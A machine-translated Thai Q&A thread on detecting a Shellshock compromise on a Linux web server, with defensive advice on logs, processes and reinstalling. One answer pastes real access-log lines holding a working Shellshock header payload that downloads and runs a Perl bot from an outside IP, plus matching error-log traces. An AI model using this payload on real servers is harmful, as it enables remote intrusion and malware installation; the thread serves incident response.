Shellshock: ฉันจะรู้ได้อย่างไรว่าเซิร์ฟเวอร์ของฉันถูกบุกรุก + ไฟล์ที่น่าสงสัยที่ต้องระวัง


18

สามคำถามที่ฉันหวังว่าใครบางคนสามารถช่วยตอบ:

  1. ฉันจะรู้ได้อย่างไรว่าเซิร์ฟเวอร์ของฉันถูกบุกรุกเนื่องจากข้อผิดพลาดของ Shellshock?
  2. หากถูกบุกรุกมีโฟลเดอร์ใดที่ฉันควรค้นหาไฟล์ที่เป็นอันตรายหรือไม่
  3. ไฟล์ที่เป็นอันตรายมีลักษณะอย่างไร

ฉันใช้ CentOS 6, LEMP stack

คำตอบ:


36

ฉันจะรู้ได้อย่างไรว่าเซิร์ฟเวอร์ของฉันถูกบุกรุกเนื่องจากข้อผิดพลาดของ Shellshock?

คุณทำไม่ได้ นั่นเป็นแนวคิดของช่องโหว่ด้านความปลอดภัย หากคุณต้องคลิกให้แคร็กเกอร์ ตกลง / ยกเลิกมันจะไม่เป็นช่องโหว่อย่างมาก

คุณอาจมีโชคบางอย่างที่ตรวจสอบบันทึกของเวกเตอร์การโจมตีของคุณ แต่เนื่องจากบริการจำนวนมากมีความเสี่ยงและไม่ใช่ทุกคนที่เข้าสู่ระบบทุกการเข้าถึงจึงเป็นไปไม่ได้ที่จะหาการโจมตีโดยสรุป

หากถูกบุกรุกมีโฟลเดอร์ใดที่ฉันควรค้นหาไฟล์ที่เป็นอันตรายหรือไม่

ไม่ไฟล์ที่เป็นอันตรายอาจอยู่ที่ใดก็ได้

รูทคิททั่วไปติดตั้งตัวเองใน/rootหรือ/หรือ/tmpหนึ่งในเส้นทางไบนารี แต่จริงๆพวกเขาสามารถเป็นที่ใดก็ได้ พวกเขาอาจมีชื่อคล้ายกับบริการจริงหรือสิ่งที่ "สำคัญ" ที่ดูเหมือน " IPTables" หรือ " kernel-bin" แต่พวกเขาอาจเป็นสตริงอักขระแบบสุ่มหรือชื่อเดียวกันกับไบนารีแท้ (เพียงในเส้นทางที่แตกต่าง) คุณสามารถมองเห็นโหลด rootkit ที่เห็นได้ชัดจริงๆในหรือทำให้การเชื่อมต่อผ่านทาง/etc/rc.local มองหาชื่อที่น่าสงสัยในกระบวนการnetstat -neopatop -c

รูทคิททั่วไปที่พบน้อยและยากกว่าจะแทนที่ไลบรารีหรือโหลดตัวเองเป็นไลบรารี shim และสกัดกั้นการเรียกระบบ นี่เป็นสิ่งที่แทบจะเป็นไปไม่ได้เลยหากคุณไม่ได้ / ltrace ทุกสิ่งที่ทำงานบนระบบของคุณและเปรียบเทียบพฤติกรรมกับพฤติกรรมที่คาดหวังของระบบหรือซอร์สโค้ดที่รู้จักดี

มันจะเร็วขึ้นง่ายขึ้นและข้อสรุปมากขึ้นเพียงแค่โหลดระบบใหม่

ไฟล์ที่เป็นอันตรายมีลักษณะอย่างไร

อาจเหมือนกับไบนารีหรือห้องสมุด ELF ทั่วไปอื่น ๆ มันอาจเป็นสคริปต์

โดยสรุปหากคุณคิดว่ามีความเป็นไปได้ที่ระบบของคุณถูกบุกรุกให้ปฏิบัติต่อระบบเสมือนว่าระบบของคุณถูกบุกรุกและใช้มาตรการที่จำเป็น


14
+1 "ปล่อยแครกเกอร์ได้ไหม" ในบันทึกอื่น ... ถ้าคุณเห็นสิ่งที่ชื่อ "IPTables" บนลินุกซ์เป็นอย่างมากที่น่าสงสัย UNIXian คือ CapsPhobic
บิชอป

หากคุณคิดว่ามีความเป็นไปได้ที่ระบบของคุณถูกบุกรุกให้ทำการรักษาระบบเสมือนว่ามันถูกบุกรุกและใช้มาตรการที่จำเป็น ซึ่งหมายความว่าทุกระบบที่เป็นไปได้ซึ่งbashติดตั้งและเสียบสายเคเบิลเครือข่ายใช่ไหม
Federico Poloni

@FedericoPoloni เฉพาะเมื่อมีคนสามารถเข้าถึงเชลล์ของคุณผ่านเครือข่าย แต่ไม่อย่างนั้นคุณพูดถูก
scai

@FedericoPoloni ฉันไม่แน่ใจว่าเป็นตัวเลือกที่ฉลาดหรือไม่เพราะฉันจะต้องทำให้ระบบทั้งหมดหยุดทำงานเนื่องจากฉันไม่สามารถมั่นใจได้ 100% ว่าพวกเขาจะไม่ถูกบุกรุกและไม่มีใครสามารถมั่นใจได้ว่าระบบของพวกเขาจะไม่ถูกบุกรุกเว้นแต่ พวกมันเป็นคนที่มองโลกในแง่ดีมาก หากคุณมีข้อสงสัยว่าระบบของคุณไม่ทำงานอย่างที่ควรจะเป็นคุณควรตรวจสอบระบบและปริมาณการใช้เครือข่ายโดยเฉพาะจาก A CLEAN OS ฉันพบว่าไม่มีหลักฐานของการแก้ไขดัดแปลงที่คุณไม่จำเป็นต้องใช้มาตรการนอกเหนือจากการแก้ไขหลุม ไม่เช่นนั้นเราจะต้องติดตั้งระบบใหม่อย่างต่อเนื่องตลอดเวลา 24x7!
Frank Waller

@ Frankankall ฉันเห็นด้วยอย่างสมบูรณ์ มีความเป็นไปได้จากระยะไกลเสมอที่ระบบถูกโจมตีและผู้โจมตีมีทักษะเพียงพอที่จะไม่ทิ้งร่องรอยใด ๆ ไว้ แต่เราไม่สามารถติดตั้ง 24x7 เพื่อตอบสนองต่อกรณีนี้
Federico Poloni

21

shellshock ไม่ใช่เวิร์มจึงไม่มีไฟล์ให้ค้นหา Shellshock เป็นวิธีการโจมตีเครือข่ายเพื่อเข้าสู่ เมื่อเข้าไปข้างในแล้วใครจะรู้ว่าผู้โจมตีจะทำอะไร


3
คำตอบนี้ดูเหมือนจะสับสนเล็กน้อยสำหรับฉัน - บางทีมันอาจจะรีบหายไปหรือควรเป็นความเห็นแทนที่จะเป็นคำตอบ แน่นอนว่าไม่ใช่เวิร์ม (เป็นช่องโหว่ไม่ใช่ชิ้นส่วนของมัลแวร์) แต่ก็ไม่ชัดเจนว่าทำไมคุณคิดว่ามีความเกี่ยวข้องหรือทำไมจึงมีความหมายว่า "ไม่มีไฟล์ที่จะมองหา" Shellshock ไม่ใช่วิธีโจมตีเครือข่าย มันเป็นวิธีที่จะบุกเข้าไปในเครื่อง มันเป็นการโจมตีบนเครื่องไม่ใช่เครือข่าย
DW

2
@DW รับรวบรัดมาก is there a particular folder where I should look for malicious filesแต่อย่างชัดเจนในการตอบสนองโดยตรงกับความกังวลของ
ᴠɪɴᴄᴇɴᴛ

5

/var/tmp/xฉันได้เห็นหนึ่งในความพยายามที่จะใช้ประโยชน์จากข้อผิดพลาดซึ่งจะติดตั้งเป็นบอท IRC แต่โดยทั่วไปแล้วไม่มีไฟล์ใดที่ต้องค้นหาเนื่องจากอาจเป็นที่ใดก็ได้

หากคุณถูกบุกรุกผ่านเว็บเซิร์ฟเวอร์ไฟล์หรือกระบวนการใหม่ใด ๆ ที่เป็นของผู้ใช้เว็บเซิร์ฟเวอร์จะเป็นที่น่าสงสัย

ในกรณีที่ผู้โจมตีใช้bashข้อผิดพลาดแรกเพื่อเข้าสู่ระบบและต่อไปช่องโหว่ในท้องถิ่นที่จะกลายเป็นrootมันอาจเป็นไปไม่ได้ที่จะเห็น

ดูคำถามที่คล้ายกันนี้ด้วย


+1 สำหรับเว็บเซิร์ฟเวอร์ของความคิดที่เป็นเจ้าของผู้ใช้
Xan

4

ฉันจะก้องคำตอบจาก suprjami และพูดว่าถ้าระบบของคุณมีความเสี่ยงจากนั้นคุณควรปฏิบัติต่อมันเป็นอันตราย

หากคุณกำลังเรียกใช้ apache คุณสามารถตรวจสอบบันทึกการทำงานของ Shellshock ได้โดยใช้คำสั่งต่อไปนี้

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

คำสั่งนี้จะแยกทุกบรรทัดที่มี "cgi" จากบันทึกการเข้าถึงของ Apache (โดยค่าเริ่มต้นที่เรียกว่า access_log, access_log.1, access_log.2 ฯลฯ ) จากนั้นส่งไปยัง egrep ด้วย regex

(ที่มา: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


โปรดทราบว่าสำหรับการกำหนดค่าเริ่มต้นของ Apache สิ่งนี้จะแสดงการโจมตีใน URL ปลายทางและในส่วนหัว "User-Agent" และ "Referer" เท่านั้น การโจมตีในส่วนหัวเช่น "คุกกี้" หรือ "X-Ploit" จะไม่ถูกบันทึก
ทำเครื่องหมาย

1
@ Mark แน่นอนฉันควรได้กล่าวถึงว่า
Ralph

1
แน่นอนสิ่งแรกที่ผู้โจมตีที่เคารพตนเองจะลบคำแนะนำใด ๆ ของการโจมตีจากบันทึก ... ซึ่งเป็นสาเหตุที่บันทึกควรเขียนครั้งเดียวและห่างไกล!
Jörg W Mittag

4

เนื่องจากมีการโจมตีเวกเตอร์หลายตัวสำหรับ Shellshock บางคนยังไม่เป็นที่รู้จักสำหรับบุคคลทั่วไปหรือเกิดจากสคริปต์ CGI ที่กำหนดเองจึงไม่มีวิธีที่ชัดเจนที่จะบอกได้ว่าคุณถูกโจมตีหรือไม่

นอกจากปกติแล้ว "มาดูกันว่าไฟล์ระบบบางไฟล์เปลี่ยนไปหรืออย่างอื่นที่น่าสงสัยเกิดขึ้นเมื่อไม่นานมานี้" คุณอาจต้องระวังพฤติกรรมเซิร์ฟเวอร์ของคุณ

  1. มีการรับส่งข้อมูลเครือข่ายมากขึ้นหรือไม่
  2. การใช้งาน CPU / หน่วยความจำมีการเปลี่ยนแปลงอย่างมากหรือไม่?
  3. มีบางอย่างที่กินพื้นที่ว่างในดิสก์หรือทำให้ I / O มากกว่าปกติหรือไม่?
  4. ไม่netstatแสดงการเชื่อมต่อเครือข่ายแปลกหรือps auxกระบวนการการแสดงที่คุณไม่รู้จัก?
  5. เซิร์ฟเวอร์ของคุณส่งอีเมลได้มากกว่าเดิมหรือไม่?

หากคุณมีการตรวจสอบสถานะเซิร์ฟเวอร์ที่เหมาะสม (เช่นZabbix) และทำงานอยู่จะช่วยให้คุณค้นหาการละเมิดความปลอดภัยได้เช่นกัน คุณยังสามารถเปรียบเทียบผลรวมของไฟล์ระบบ MD5 / SHA กับการสำรองข้อมูลที่ดีที่รู้จัก

เพียงทำตามที่เซิร์ฟเวอร์ของคุณถูกบุกรุกและตรวจสอบทุกสิ่งที่คุณคิด


4

ฉันแค่มีความสุขที่ได้ทำความสะอาดระบบ Plesk ที่เก่ากว่า สิ่งแรกที่ให้ไว้คือกระบวนการมากมายที่เริ่มฟังพอร์ตจำนวนหนึ่งและอื่น ๆ ที่พยายามดาวน์โหลดรหัสจากเซิร์ฟเวอร์สแกนต้นฉบับ

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

หลังจากบันทึกที่ฉันพบรูที่ดีที่สุดคือcgi_wrapperสคริปต์สิ่งที่ควรปกป้องและป้องกันระบบคือสิ่งที่ฉีกหลุมเข้าไปในการป้องกัน นี่คือบางส่วนของบันทึกการทำงานจากโพรบและการโจมตีที่ประสบความสำเร็จ:

นี่คือเส้นจาก access_log เนื่องจากนี่เป็นเพียงตัวอย่างให้สังเกต 200 ในสองบรรทัดในขณะที่อีกอันล้มเหลวด้วย 404 คุณไม่ต้องกังวลเกี่ยวกับบรรทัดที่มี 404 เนื่องจากไม่ประสบความสำเร็จ คนที่มี 200 อย่างไรก็ตาม รูปแบบการโจมตีเหล่านี้ที่นี่จะเหมือนเดิมเสมอ 1. หาสคริปต์ cgi ที่มีช่องโหว่ใช้ shellshock exploit เพื่อดาวน์โหลดและเรียกใช้งานสคริปต์ perl ลบสคริปต์ perl อีกครั้ง สคริปต์ Perl จะดาวน์โหลดไฟล์ต้นฉบับบางไฟล์ (tgz) รวบรวมและเรียกใช้จากสิ่งที่ฉันได้เห็นพวกเขามีอย่างน้อยแบ็คดอร์และกลไกการอัพเดทอัตโนมัติ สคริปต์เริ่มต้นทั้งหมดจะถูกดำเนินการตามจริงในฐานะผู้ใช้ที่เตรียมโดย wrapper ในขณะที่การบริการในภายหลังเริ่มขึ้นด้วย PPID 1 (เริ่มต้นจากกระบวนการรูท)

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

และนี่คือบรรทัด error_log ที่เกี่ยวข้อง:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

ไฟล์ที่ดาวน์โหลดไปยัง / tmp อย่างที่ใคร ๆ ก็เดากันฉันไม่มีไฟล์ bot.pl เนื่องจากถูกลบทิ้งทันที

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
